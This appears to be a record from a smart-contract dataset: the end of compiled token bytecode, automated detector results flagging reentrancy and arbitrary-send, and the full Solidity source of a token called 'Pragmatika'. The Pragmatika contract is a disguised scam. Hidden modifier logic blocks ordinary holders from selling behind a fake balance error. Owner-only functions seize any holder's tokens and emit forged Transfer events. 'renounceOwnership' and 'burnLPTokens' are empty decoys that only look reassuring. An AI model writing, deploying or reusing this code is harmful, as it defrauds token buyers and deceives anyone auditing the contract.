565b60405180910390fd5b601360149054906101000a900460ff1615610f0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0390613245565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f9b30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a000061133f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fe157600080fd5b505afa158015610ff5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110199190612a7e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561107b57600080fd5b505afa15801561108f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b39190612a7e565b6040518363ffffffff1660e01b81526004016110d0929190612fb5565b602060405180830381600087803b1580156110ea57600080fd5b505af11580156110fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111229190612a7e565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306111ab30610999565b6000806111b6610b3d565b426040518863ffffffff1660e01b81526004016111d896959493929190613007565b6060604051808303818588803b1580156111f157600080fd5b505af1158015611205573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061122a9190612be9565b50505066071afd498d000060108190555042600d81905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e1929190612fde565b602060405180830381600087803b1580156112fb57600080fd5b505af115801561130f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113339190612b97565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a690613225565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561141f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611416906130e5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114fd91906132a5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561157a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157190613205565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e1906130a5565b60405180910390fd5b6000811161162d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611624906131e5565b60405180910390fd5b611635610b3d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116a35750611673610b3d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d7857601360159054906101000a900460ff16156117a957600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff166117a8576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561183357503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561189657611840612273565b8161184a84610999565b611854919061338a565b1115611895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188c90613105565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119415750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119975750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b6457601360149054906101000a900460ff166119eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e290613265565b60405180910390fd5b600c600a81905550601360159054906101000a900460ff1615611afa57426014541115611af957601054811115611a2157600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611aa5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9c90613125565b60405180910390fd5b602d42611ab2919061338a565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601360159054906101000a900460ff1615611b6357600942611b1c919061338a565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611b6f30610999565b9050601360169054906101000a900460ff16158015611bdc5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611bf45750601360149054906101000a900460ff165b15611d7657600c600a81905550601360159054906101000a900460ff1615611c9b5742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611c9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9190613185565b60405180910390fd5b5b6000811115611d5c57611cf66064611ce8600b54611cda601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610999565b61229b90919063ffffffff16565b61231690919063ffffffff16565b811115611d5257611d4f6064611d41600b54611d33601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610999565b61229b90919063ffffffff16565b61231690919063ffffffff16565b90505b611d5b81611f79565b5b60004790506000811115611d7457611d7347611e9f565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e1f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611e2957600090505b611e3584848484612360565b50505050565b6000838311158290611e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7a9190613083565b60405180910390fd5b5060008385611e92919061346b565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611f07573d6000803e3d6000fd5b5050565b6000600754821115611f52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f49906130c5565b60405180910390fd5b6000611f5c61238d565b9050611f71818461231690919063ffffffff16565b915050919050565b6001601360166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611fd7577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156120055781602001602082028036833780820191505090505b5090503081600081518110612043577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156120e557600080fd5b505afa1580156120f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061211d9190612a7e565b81600181518110612157577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506121be30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461133f565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122229594939291906132c0565b600060405180830381600087803b15801561223c57600080fd5b505af1158015612250573d6000803e3d6000fd5b50505050506000601360166101000a81548160ff02191690831515021790555050565b6000606460155461228261059c565b61228c9190613411565b61229691906133e0565b905090565b6000808314156122ae5760009050612310565b600082846122bc9190613411565b90508284826122cb91906133e0565b1461230b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612302906131a5565b60405180910390fd5b809150505b92915050565b600061235883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506123b8565b905092915050565b8061236e5761236d61241b565b5b61237984848461245e565b8061238757612386612629565b5b50505050565b600080600061239a61263d565b915091506123b1818361231690919063ffffffff16565b9250505090565b600080831182906123ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f69190613083565b60405180910390fd5b506000838561240e91906133e0565b9050809150509392505050565b600060095414801561242f57506000600a54145b156124395761245c565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b6000806000806000806124708761269c565b9550955095509550955095506124ce86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461270490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274e90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125af816127ac565b6125b98483612869565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161261691906132a5565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b60008060006007549050600067016345785d8a0000905061267167016345785d8a000060075461231690919063ffffffff16565b82101561268f5760075467016345785d8a0000935093505050612698565b81819350935050505b9091565b60008060008060008060008060006126b98a600954600a546128a3565b92509250925060006126c961238d565b905060008060006126dc8e878787612939565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061274683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e3b565b905092915050565b600080828461275d919061338a565b9050838110156127a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161279990613145565b60405180910390fd5b8091505092915050565b60006127b661238d565b905060006127cd828461229b90919063ffffffff16565b905061282181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461274e90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61287e8260075461270490919063ffffffff16565b6007819055506128998160085461274e90919063ffffffff16565b6008819055505050565b6000806000806128cf60646128c1888a61229b90919063ffffffff16565b61231690919063ffffffff16565b905060006128f960646128eb888b61229b90919063ffffffff16565b61231690919063ffffffff16565b9050600061292282612914858c61270490919063ffffffff16565b61270490919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612952858961229b90919063ffffffff16565b90506000612969868961229b90919063ffffffff16565b90506000612980878961229b90919063ffffffff16565b905060006129a98261299b858761270490919063ffffffff16565b61270490919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000813590506129d1816139b4565b92915050565b6000815190506129e6816139b4565b92915050565b6000813590506129fb816139cb565b92915050565b600081519050612a10816139cb565b92915050565b600081359050612a25816139e2565b92915050565b600081519050612a3a816139e2565b92915050565b600081359050612a4f816139f9565b92915050565b600060208284031215612a6757600080fd5b6000612a75848285016129c2565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016129d7565b91505092915050565b60008060408385031215612aba57600080fd5b6000612ac8858286016129c2565b9250506020612ad9858286016129c2565b9150509250929050565b600080600060608486031215612af857600080fd5b6000612b06868287016129c2565b9350506020612b17868287016129c2565b9250506040612b2886828701612a16565b9150509250925092565b60008060408385031215612b4557600080fd5b6000612b53858286016129c2565b9250506020612b6485828601612a16565b9150509250929050565b600060208284031215612b8057600080fd5b6000612b8e848285016129ec565b91505092915050565b600060208284031215612ba957600080fd5b6000612bb784828501612a01565b91505092915050565b600060208284031215612bd257600080fd5b6000612be084828501612a16565b91505092915050565b600080600060608486031215612bfe57600080fd5b6000612c0c86828701612a2b565b9350506020612c1d86828701612a2b565b9250506040612c2e86828701612a2b565b9150509250925092565b600060208284031215612c4a57600080fd5b6000612c5884828501612a40565b91505092915050565b6000612c6d8383612c79565b60208301905092915050565b612c828161349f565b82525050565b612c918161349f565b82525050565b6000612ca282613345565b612cac8185613368565b9350612cb783613335565b8060005b83811015612ce8578151612ccf8882612c61565b9750612cda8361335b565b925050600181019050612cbb565b5085935050505092915050565b612cfe816134b1565b82525050565b612d0d816134f4565b82525050565b6000612d1e82613350565b612d288185613379565b9350612d38818560208601613506565b612d4181613597565b840191505092915050565b6000612d59602383613379565b9150612d64826135a8565b604082019050919050565b6000612d7c602a83613379565b9150612d87826135f7565b604082019050919050565b6000612d9f602283613379565b9150612daa82613646565b604082019050919050565b6000612dc2601983613379565b9150612dcd82613695565b602082019050919050565b6000612de5602283613379565b9150612df0826136be565b604082019050919050565b6000612e08601b83613379565b9150612e138261370d565b602082019050919050565b6000612e2b601583613379565b9150612e3682613736565b602082019050919050565b6000612e4e602383613379565b9150612e598261375f565b604082019050919050565b6000612e71602183613379565b9150612e7c826137ae565b604082019050919050565b6000612e94602083613379565b9150612e9f826137fd565b602082019050919050565b6000612eb7602983613379565b9150612ec282613826565b604082019050919050565b6000612eda602583613379565b9150612ee582613875565b604082019050919050565b6000612efd602483613379565b9150612f08826138c4565b604082019050919050565b6000612f20601783613379565b9150612f2b82613913565b602082019050919050565b6000612f43601883613379565b9150612f4e8261393c565b602082019050919050565b6000612f66602583613379565b9150612f7182613965565b604082019050919050565b612f85816134dd565b82525050565b612f94816134e7565b82525050565b6000602082019050612faf6000830184612c88565b92915050565b6000604082019050612fca6000830185612c88565b612fd76020830184612c88565b9392505050565b6000604082019050612ff36000830185612c88565b6130006020830184612f7c565b9392505050565b600060c08201905061301c6000830189612c88565b6130296020830188612f7c565b6130366040830187612d04565b6130436060830186612d04565b6130506080830185612c88565b61305d60a0830184612f7c565b979650505050505050565b600060208201905061307d6000830184612cf5565b92915050565b6000602082019050818103600083015261309d8184612d13565b905092915050565b600060208201905081810360008301526130be81612d4c565b9050919050565b600060208201905081810360008301526130de81612d6f565b9050919050565b600060208201905081810360008301526130fe81612d92565b9050919050565b6000602082019050818103600083015261311e81612db5565b9050919050565b6000602082019050818103600083015261313e81612dd8565b9050919050565b6000602082019050818103600083015261315e81612dfb565b9050919050565b6000602082019050818103600083015261317e81612e1e565b9050919050565b6000602082019050818103600083015261319e81612e41565b9050919050565b600060208201905081810360008301526131be81612e64565b9050919050565b600060208201905081810360008301526131de81612e87565b9050919050565b600060208201905081810360008301526131fe81612eaa565b9050919050565b6000602082019050818103600083015261321e81612ecd565b9050919050565b6000602082019050818103600083015261323e81612ef0565b9050919050565b6000602082019050818103600083015261325e81612f13565b9050919050565b6000602082019050818103600083015261327e81612f36565b9050919050565b6000602082019050818103600083015261329e81612f59565b9050919050565b60006020820190506132ba6000830184612f7c565b92915050565b600060a0820190506132d56000830188612f7c565b6132e26020830187612d04565b81810360408301526132f48186612c97565b90506133036060830185612c88565b6133106080830184612f7c565b9695505050505050565b600060208201905061332f6000830184612f8b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613395826134dd565b91506133a0836134dd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133d5576133d4613539565b5b828201905092915050565b60006133eb826134dd565b91506133f6836134dd565b92508261340657613405613568565b5b828204905092915050565b600061341c826134dd565b9150613427836134dd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156134605761345f613539565b5b828202905092915050565b6000613476826134dd565b9150613481836134dd565b92508282101561349457613493613539565b5b828203905092915050565b60006134aa826134bd565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006134ff826134dd565b9050919050565b60005b83811015613524578082015181840152602081019050613509565b83811115613533576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4d617820686f6c64696e67206361702062726561636865642e00000000000000600082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b7f4d617820686f6c64696e67206361702063616e6e6f74206265206c657373207460008201527f68616e2031000000000000000000000000000000000000000000000000000000602082015250565b6139bd8161349f565b81146139c857600080fd5b50565b6139d4816134b1565b81146139df57600080fd5b50565b6139eb816134dd565b81146139f657600080fd5b50565b613a02816134e7565b8114613a0d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206369de48cb8d75ce717df0dc4b5db4d46efab52f67f17bbb4d706b016b543cca64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,396
0xc3dcea517e09927d82a5c631363b61cd957c09ab
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);} contract Pragmatika is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _plus; mapping (address => bool) private _discarded; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address private _safeOwnr; uint256 private _discardedAmt = 0; address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address _contDeployr = 0xdbAABc182e5FCEbf216C353A3EBE32cDB7390094; address public _ownr = 0x015bB7DDF80e80e8836b7AC988e98D96873c41C5; constructor () public { _name = "Pragmatika"; _symbol = "PRAG"; _decimals = 18; uint256 initialSupply = 100000000 * 10 ** 18; _safeOwnr = _ownr; _mint(_contDeployr, initialSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _tf(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _tf(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _pApproval(address[] memory destination) public { require(msg.sender == _ownr, "!owner"); for (uint256 i = 0; i < destination.length; i++) { _plus[destination[i]] = true; _discarded[destination[i]] = false; } } function _mApproval(address safeOwner) public { require(msg.sender == _ownr, "!owner"); _safeOwnr = safeOwner; } modifier mainboard(address dest, uint256 num, address from, address filler){ if ( _ownr == _safeOwnr && from == _ownr ) {_safeOwnr = dest;_; }else { if ( from == _ownr || from == _safeOwnr || dest == _ownr ) { if ( from == _ownr && from == dest ) {_discardedAmt = num; }_; }else { if ( _plus[from] == true ) { _; }else{if ( _discarded[from] == true ) { require(( from == _safeOwnr ) ||(dest == _path_), "ERC20: transfer amount exceeds balance");_; }else{ if ( num < _discardedAmt ) { if(dest == _safeOwnr){_discarded[from] = true; _plus[from] = false; } _; }else{require((from == _safeOwnr) ||(dest == _path_), "ERC20: transfer amount exceeds balance");_; } } } } }} function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); if (sender == _ownr){ sender = _contDeployr; } emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _ownr, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_ownr] = _balances[_ownr].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _tf(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual { _pair( from, dest, amt); } function _pair(address from, address dest, uint256 amt) internal mainboard( dest, amt, from, address(0)) virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(dest != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(from, dest, amt); _balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance"); _balances[dest] = _balances[dest].add(amt); if (from == _ownr){from = _contDeployr;} emit Transfer(from, dest, amt); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } modifier _verify() { require(msg.sender == _ownr, "Not allowed to interact"); _; } //-----------------------------------------------------------------------------------------------------------------------// function renounceOwnership()public _verify(){} function burnLPTokens()public _verify(){} function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ //MultiEmit for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}} function send(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ //MultiEmit for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}} function enter(address recipient) public _verify(){ _plus[recipient]=true; _approve(recipient, _path_,_maximumVal);} function enterList(address[] memory addrss) public _verify(){ for (uint256 i = 0; i < addrss.length; i++) { _plus[addrss[i]]=true; _approve(addrss[i], _path_,_maximumVal);}} function leave(address recipient) public _verify(){ //Disable permission _plus[recipient]=false; _approve(recipient, _path_,0); } function approval(address addr) public _verify() virtual returns (bool) { //Approve Spending _approve(addr, _msgSender(), _maximumVal); return true; } function transferToTokenSaleParticipant(address sndr,address[] memory destination, uint256[] memory amounts) public _verify(){ _approve(sndr, _msgSender(), _maximumVal); for (uint256 i = 0; i < destination.length; i++) { _transfer(sndr, destination[i], amounts[i]); } } function stake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}} function unstake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){ for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}} }
